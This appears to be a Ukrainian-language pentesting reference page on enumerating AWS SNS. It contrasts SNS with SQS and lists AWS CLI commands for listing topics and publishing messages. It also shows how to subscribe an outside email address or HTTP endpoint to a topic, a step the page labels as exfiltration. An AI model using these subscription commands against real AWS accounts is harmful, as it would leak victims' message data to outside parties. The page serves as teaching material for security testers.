# AWS - SNS Enum {{#include ../../../banners/hacktricks-training.md}} ## SNS Amazon Simple Notification Service (Amazon SNS) описується як **повністю керована служба обміну повідомленнями**. Вона підтримує як **додаток-додатку** (A2A), так і **додаток-людина** (A2P) типи комунікації. Ключові особливості для A2A комунікації включають **механізми публікації/підписки (pub/sub)**. Ці механізми вводять **теми**, які є критично важливими для забезпечення високої пропускної здатності, **пуш-орієнтованого, багато до багатьох обміну повідомленнями**. Ця функція є надзвичайно вигідною в сценаріях, що включають розподілені системи, мікросервіси та архітектури безсерверних подій. Використовуючи ці теми, системи публікаторів можуть ефективно розподіляти повідомлення на **широкий спектр систем підписників**, сприяючи патерну обміну повідомленнями fanout. ### **Різниця з SQS** **SQS** є **черговою** службою, яка дозволяє точкову комунікацію, забезпечуючи обробку повідомлень **одиничним споживачем**. Вона пропонує **доставку принаймні один раз**, підтримує стандартні та FIFO черги, а також дозволяє зберігання повідомлень для повторних спроб і затриманої обробки.\ З іншого боку, **SNS** є **службою на основі публікації/підписки**, що дозволяє **один до багатьох** комунікацію, транслюючи повідомлення **багатьом підписникам** одночасно. Вона підтримує **різні кінцеві точки підписки, такі як електронна пошта, SMS, функції Lambda та HTTP/HTTPS**, і надає механізми фільтрації для цільової доставки повідомлень.\ Хоча обидві служби дозволяють декомпозицію між компонентами в розподілених системах, SQS зосереджується на черговій комунікації, а SNS підкреслює подієво-орієнтовані, fan-out патерни комунікації. ### **Перерахування** ```bash # Get topics & subscriptions aws sns list-topics aws sns list-subscriptions aws sns list-subscriptions-by-topic --topic-arn # Check privescs & post-exploitation aws sns publish --region \ --topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ --message file://message.txt # Exfiltrate through email ## You will receive an email to confirm the subscription aws sns subscribe --region \ --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ --protocol email \ --notification-endpoint my-email@example.com # Exfiltrate through web server ## You will receive an initial request with a URL in the field "SubscribeURL" ## that you need to access to confirm the subscription aws sns subscribe --region \ --protocol http \ --notification-endpoint http:/// \ --topic-arn ``` > [!CAUTION] > Зверніть увагу, що якщо **тема є типу FIFO**, можуть бути використані лише підписники, які використовують протокол **SQS** (HTTP або HTTPS не можуть бути використані). > > Також, навіть якщо `--topic-arn` містить регіон, переконайтеся, що ви вказали правильний регіон у **`--region`**, інакше ви отримаєте помилку, яка виглядає так, ніби ви не маєте доступу, але проблема в регіоні. #### Unauthenticated Access {{#ref}} ../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md {{#endref}} #### Privilege Escalation {{#ref}} ../aws-privilege-escalation/aws-sns-privesc.md {{#endref}} #### Post Exploitation {{#ref}} ../aws-post-exploitation/aws-sns-post-exploitation.md {{#endref}} #### Persistence {{#ref}} ../aws-persistence/aws-sns-persistence.md {{#endref}} ## References - [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/) {{#include ../../../banners/hacktricks-training.md}}